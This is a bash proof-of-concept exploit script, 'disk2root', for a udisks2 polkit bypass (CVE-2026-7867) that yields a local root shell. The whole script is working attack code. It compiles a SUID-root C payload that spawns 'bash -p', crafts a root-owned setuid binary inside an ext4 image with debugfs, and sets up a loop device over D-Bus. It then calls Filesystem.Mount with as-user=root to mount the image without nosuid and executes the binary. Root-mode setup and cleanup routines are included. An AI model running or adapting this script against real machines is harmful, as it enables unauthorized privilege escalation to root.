#!/bin/bash
# ─────────────────────────────────────────────────────────────
#  CVE-2026-7867 — disk2root
#
#  udisks2 Filesystem.Mount as-user polkit bypass → LPE
#
#  Usage:
#    ./disk2root.sh              (as root — full auto)
#    ./disk2root.sh <username>   (as root — exploit as <user>)
#    ./disk2root.sh              (as unpriv — try self-contained
#                                 or fstab fallback)
#    ./disk2root.sh --cleanup    (as root — remove artifacts)
# ─────────────────────────────────────────────────────────────
set -uo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

SELF=$(readlink -f "$0")
LOOP_IMG="/tmp/.d2r-exploit.img"
MOUNT_POINT="/mnt/.d2r"
FSTAB_BACKUP="/tmp/.d2r-fstab.bak"
CREATED_USER=""
LOOP_DEV=""

die() { echo -e "${RED}[!] $1${NC}"; exit 1; }

banner() {
    echo -e "${CYAN}╔═════════════════════════════════════════════════════╗"
    echo -e "║  CVE-2026-7867 — disk2root                          ║"
    echo -e "║  udisks2 as-user polkit bypass → LPE root shell     ║"
    echo -e "╚═════════════════════════════════════════════════════════╝${NC}"
    echo ""
}

# ─────────────────────────────────────────────────────────────
#  Cleanup
# ─────────────────────────────────────────────────────────────
do_cleanup() {
    echo -e "${YELLOW}[*] Cleaning up...${NC}"
    umount "$MOUNT_POINT" 2>/dev/null || true
    if [ -f "$FSTAB_BACKUP" ]; then
        cp "$FSTAB_BACKUP" /etc/fstab
        rm -f "$FSTAB_BACKUP"
        echo "    fstab restored"
    fi
    for dev in /dev/loop*; do
        if losetup "$dev" 2>/dev/null | grep -q "d2r-exploit"; then
            losetup -d "$dev" 2>/dev/null
            echo "    detached: $dev"
        fi
    done
    rm -f "$LOOP_IMG"
    rmdir "$MOUNT_POINT" 2>/dev/null || true
    if [ -n "$CREATED_USER" ] && id "$CREATED_USER" &>/dev/null; then
        userdel -r "$CREATED_USER" 2>/dev/null || true
        echo "    removed user: $CREATED_USER"
    fi
    systemctl reload udisks2 2>/dev/null || true
    udevadm trigger 2>/dev/null || true
    echo -e "${GREEN}[+] Clean${NC}"
}

# ─────────────────────────────────────────────────────────────
#  Setup phase (requires root)
# ─────────────────────────────────────────────────────────────
do_setup() {
    local TARGET_USER="$1"

    echo -e "${YELLOW}[1/4]${NC} Building SUID payload..."
    local PWN_SRC=$(mktemp /tmp/.d2r-src.XXXXXX.c)
    cat > "$PWN_SRC" << 'CEOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    if (geteuid() != 0) {
        fprintf(stderr, "[-] euid=%d — suid not effective\n", geteuid());
        return 1;
    }
    setuid(0); setgid(0);
    printf("\033[1;32m[+] root shell — uid=%d euid=%d\033[0m\n", getuid(), geteuid());
    execl("/bin/bash", "bash", "-p", NULL);
    perror("execl"); return 1;
}
CEOF
    gcc -static -o /tmp/.d2r-pwn "$PWN_SRC" 2>/dev/null || \
    gcc -o /tmp/.d2r-pwn "$PWN_SRC" 2>/dev/null || \
        die "gcc compile failed"
    rm -f "$PWN_SRC"
    echo -e "    ${GREEN}compiled${NC}"

    echo -e "${YELLOW}[2/4]${NC} Creating disk image + injecting binary..."
    dd if=/dev/zero of="$LOOP_IMG" bs=1M count=32 status=none
    LOOP_DEV=$(losetup --find --show "$LOOP_IMG")
    mkfs.ext4 -q -F "$LOOP_DEV"

    local TMP_MNT=$(mktemp -d)
    mount "$LOOP_DEV" "$TMP_MNT"
    cp /tmp/.d2r-pwn "$TMP_MNT/pwn"
    chown root:root "$TMP_MNT/pwn"
    chmod 4755 "$TMP_MNT/pwn"
    umount "$TMP_MNT"
    rmdir "$TMP_MNT"
    rm -f /tmp/.d2r-pwn
    echo -e "    ${GREEN}$LOOP_DEV — 32MB ext4, pwn: 4755 root:root${NC}"

    echo -e "${YELLOW}[3/4]${NC} Adding fstab entry..."
    mkdir -p "$MOUNT_POINT"
    cp /etc/fstab "$FSTAB_BACKUP"
    echo "$LOOP_DEV  $MOUNT_POINT  ext4  x-udisks-auth  0  0" >> /etc/fstab
    udevadm trigger --subsystem-match=block
    udevadm settle
    systemctl reload udisks2 2>/dev/null || true
    sleep 2
    echo -e "    ${GREEN}$LOOP_DEV → $MOUNT_POINT (x-udisks-auth)${NC}"

    echo -e "${YELLOW}[4/4]${NC} Target user: $TARGET_USER (uid=$(id -u "$TARGET_USER"))"

    # Verify udisks2 sees the device
    local LOOP_BASE=$(basename "$LOOP_DEV")
    local UDISKS_PATH="/org/freedesktop/UDisks2/block_devices/$LOOP_BASE"
    local r=0
    while [ $r -lt 15 ]; do
        busctl introspect org.freedesktop.UDisks2 "$UDISKS_PATH" 2>/dev/null | \
            grep -q "org.freedesktop.UDisks2.Filesystem" && break
        sleep 0.5; r=$((r + 1))
    done
    [ $r -eq 15 ] && die "udisks2 didn't recognize $LOOP_DEV"
    echo -e "    ${GREEN}udisks2: ready${NC}"
}

# ─────────────────────────────────────────────────────────────
#  Exploit phase (unprivileged)
# ─────────────────────────────────────────────────────────────
do_exploit() {
    echo -e "${YELLOW}[*]${NC} uid=$(id -u) ($(whoami)) — exploiting..."

    # Find target: self-contained loop or fstab entry
    local TARGET_DEV="" TARGET_MNT="" UDISKS_PATH=""

    # Try self-contained loop-setup first (desktop sessions)
    if command -v mke2fs &>/dev/null && command -v debugfs &>/dev/null; then
        local WORK=$(mktemp -d /tmp/.d2r.XXXXXX)
        local IMG="$WORK/root.img"
        local PWN="$WORK/pwn"
        local LOOP_OBJ=""

        if command -v gcc &>/dev/null; then
            cat > "$WORK/pwn.c" << 'CEOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    if (geteuid() != 0) { fprintf(stderr, "[-] euid=%d\n", geteuid()); return 1; }
    setuid(0); setgid(0);
    printf("\033[1;32m[+] root shell — uid=%d euid=%d\033[0m\n", getuid(), geteuid());
    execl("/bin/bash", "bash", "-p", NULL);
    return 1;
}
CEOF
            gcc -static -o "$PWN" "$WORK/pwn.c" 2>/dev/null || gcc -o "$PWN" "$WORK/pwn.c" 2>/dev/null
        fi

        if [ -f "$PWN" ]; then
            dd if=/dev/zero of="$IMG" bs=1M count=32 status=none
            mke2fs -t ext4 -q -F "$IMG" 2>/dev/null
            debugfs -w "$IMG" -f /dev/stdin <<DBGEOF &>/dev/null
write $PWN pwn
set_inode_field pwn uid 0
set_inode_field pwn gid 0
set_inode_field pwn mode 0104755
quit
DBGEOF

            # Try loop-setup
            if python3 -c "from gi.repository import Gio, GLib" 2>/dev/null; then
                LOOP_OBJ=$(D2R_IMG="$IMG" python3 << 'PYEOF' 2>/dev/null
import os, sys
from gi.repository import Gio, GLib
img = os.environ["D2R_IMG"]
bus = Gio.bus_get_sync(Gio.BusType.SYSTEM)
for opts in [{"as-user": GLib.Variant("s", "root")}, {}]:
    fd = os.open(img, os.O_RDWR)
    fl = Gio.UnixFDList.new(); fl.append(fd); os.close(fd)
    try:
        r, _ = bus.call_with_unix_fd_list_sync(
            "org.freedesktop.UDisks2", "/org/freedesktop/UDisks2/Manager",
            "org.freedesktop.UDisks2.Manager", "LoopSetup",
            GLib.Variant("(ha{sv})", (0, opts)),
            GLib.VariantType("(o)"), Gio.DBusCallFlags.NONE, -1, fl, None)
        print(r.unpack()[0]); sys.exit(0)
    except: continue
sys.exit(1)
PYEOF
                ) || true
            fi

            if [ -z "$LOOP_OBJ" ] && command -v udisksctl &>/dev/null; then
                local out
                out=$(udisksctl loop-setup -f "$IMG" --no-user-interaction 2>&1) && \
                    LOOP_OBJ="/org/freedesktop/UDisks2/block_devices/$(echo "$out" | grep -oP 'loop\d+' | head -1)"
            fi
        fi

        if [ -n "$LOOP_OBJ" ]; then
            local SELF_LOOP="/dev/$(basename "$LOOP_OBJ")"
            UDISKS_PATH="$LOOP_OBJ"
            echo -e "    ${GREEN}self-contained: $SELF_LOOP${NC}"

            local r=0
            while [ $r -lt 15 ]; do
                busctl introspect org.freedesktop.UDisks2 "$UDISKS_PATH" 2>/dev/null | \
                    grep -q "org.freedesktop.UDisks2.Filesystem" && break
                sleep 0.3; r=$((r + 1))
            done
        else
            rm -rf "$WORK"
        fi
    fi

    # Fallback: scan fstab
    if [ -z "$UDISKS_PATH" ]; then
        while IFS= read -r line; do
            [[ "$line" =~ ^#.*$ || -z "$line" ]] && continue
            local dev=$(echo "$line" | awk '{print $1}')
            local mnt=$(echo "$line" | awk '{print $2}')
            local opts=$(echo "$line" | awk '{print $4}')
            for opt in x-udisks-auth user users; do
                if echo "$opts" | grep -qw "$opt"; then
                    TARGET_DEV="$dev"
                    TARGET_MNT="$mnt"
                    local real=$(readlink -f "$dev" 2>/dev/null || echo "$dev")
                    UDISKS_PATH="/org/freedesktop/UDisks2/block_devices/$(basename "$real")"
                    echo -e "    ${GREEN}fstab: $dev → $mnt ($opt)${NC}"
                    break 2
                fi
            done
        done < /etc/fstab
    fi

    [ -z "$UDISKS_PATH" ] && die "No exploit path — run as root for auto-setup"

    # Mount via as-user=root bypass
    local RESULT="" MNT=""

    if [ -n "$TARGET_MNT" ] && mountpoint -q "$TARGET_MNT" 2>/dev/null; then
        MNT="$TARGET_MNT"
    else
        RESULT=$(busctl --system call org.freedesktop.UDisks2 "$UDISKS_PATH" \
            org.freedesktop.UDisks2.Filesystem Mount \
            'a{sv}' 1 as-user s root 2>&1) || true

        MNT=$(echo "$RESULT" | grep -oP '"[^"]+"' | tr -d '"' | head -1)

        if [ -z "$MNT" ] && [ -n "$TARGET_MNT" ]; then
            mountpoint -q "$TARGET_MNT" 2>/dev/null && MNT="$TARGET_MNT"
        fi

        if [ -z "$MNT" ] || ! mountpoint -q "$MNT" 2>/dev/null; then
            RESULT=$(dbus-run-session -- busctl --system call org.freedesktop.UDisks2 \
                "$UDISKS_PATH" org.freedesktop.UDisks2.Filesystem Mount \
                'a{sv}' 1 as-user s root 2>&1) || true
            MNT=$(echo "$RESULT" | grep -oP '"[^"]+"' | tr -d '"' | head -1)
            [ -z "$MNT" ] && [ -n "$TARGET_MNT" ] && \
                mountpoint -q "$TARGET_MNT" 2>/dev/null && MNT="$TARGET_MNT"
        fi

        if [ -z "$MNT" ] || ! mountpoint -q "$MNT" 2>/dev/null; then
            die "mount failed — system may be patched"
        fi
    fi

    echo -e "    ${GREEN}mounted: $MNT${NC}"

    # Verify
    local MNT_OPTS=$(grep "$MNT" /proc/mounts | awk '{print $4}')
    if echo "$MNT_OPTS" | grep -q "nosuid"; then
        die "nosuid enforced ($MNT_OPTS)"
    fi

    # Find SUID binary
    local SUID=""
    for name in pwn escalate shell; do
        [ -f "$MNT/$name" ] && [ -u "$MNT/$name" ] && { SUID="$MNT/$name"; break; }
    done
    [ -z "$SUID" ] && SUID=$(find "$MNT" -maxdepth 2 -perm -4000 -type f 2>/dev/null | head -1)
    [ -z "$SUID" ] && die "no SUID binary on $MNT"

    echo -e "    ${GREEN}suid: $(basename "$SUID") ($(stat -c '%a %U:%G' "$SUID"))${NC}"
    echo ""
    echo -e "${GREEN}╔═════════════════════════════════════════════════════╗"
    echo -e "║  dropping into root shell — type 'exit' to return   ║"
    echo -e "╚═════════════════════════════════════════════════════════╝${NC}"
    echo ""

    "$SUID"
}

# ═════════════════════════════════════════════════════════════
#  Main
# ═════════════════════════════════════════════════════════════
banner

case "${1:-}" in
    --cleanup)
        [ "$(id -u)" -ne 0 ] && die "--cleanup requires root"
        do_cleanup
        exit 0
        ;;
    --exploit-phase)
        # Internal: called by root mode via su
        do_exploit
        exit $?
        ;;
esac

if [ "$(id -u)" -eq 0 ]; then
    # ── ROOT MODE: setup + exploit via su ──────────────────
    echo -e "${YELLOW}[*]${NC} Running as root — setting up exploit environment"
    echo ""

    TARGET_USER="${1:-}"

    if [ -z "$TARGET_USER" ]; then
        TARGET_USER=$(awk -F: '$3 >= 1000 && $3 < 65534 && $7 !~ /nologin|false/ {print $1; exit}' /etc/passwd)
    fi

    if [ -z "$TARGET_USER" ] || ! id "$TARGET_USER" &>/dev/null; then
        TARGET_USER="d2r_user"
        useradd -m -s /bin/bash "$TARGET_USER" 2>/dev/null || true
        CREATED_USER="$TARGET_USER"
        echo -e "${YELLOW}[*]${NC} Created temporary user: $TARGET_USER"
    fi

    # Cleanup trap for root mode
    root_cleanup() {
        do_cleanup
    }
    trap root_cleanup EXIT

    do_setup "$TARGET_USER"
    echo ""

    echo -e "${YELLOW}══ EXPLOIT PHASE (as $TARGET_USER) ═══════════════════${NC}"
    echo ""

    # Copy script to accessible location and run as target user
    cp "$SELF" /tmp/.d2r-exploit.sh
    chmod 755 /tmp/.d2r-exploit.sh
    su -s /bin/bash -c "/tmp/.d2r-exploit.sh --exploit-phase" "$TARGET_USER"
    rm -f /tmp/.d2r-exploit.sh

    echo ""
    echo -e "${YELLOW}[*] Shell exited — cleaning up...${NC}"

else
    # ── UNPRIVILEGED MODE: try self-contained or fstab ─────
    do_exploit
fi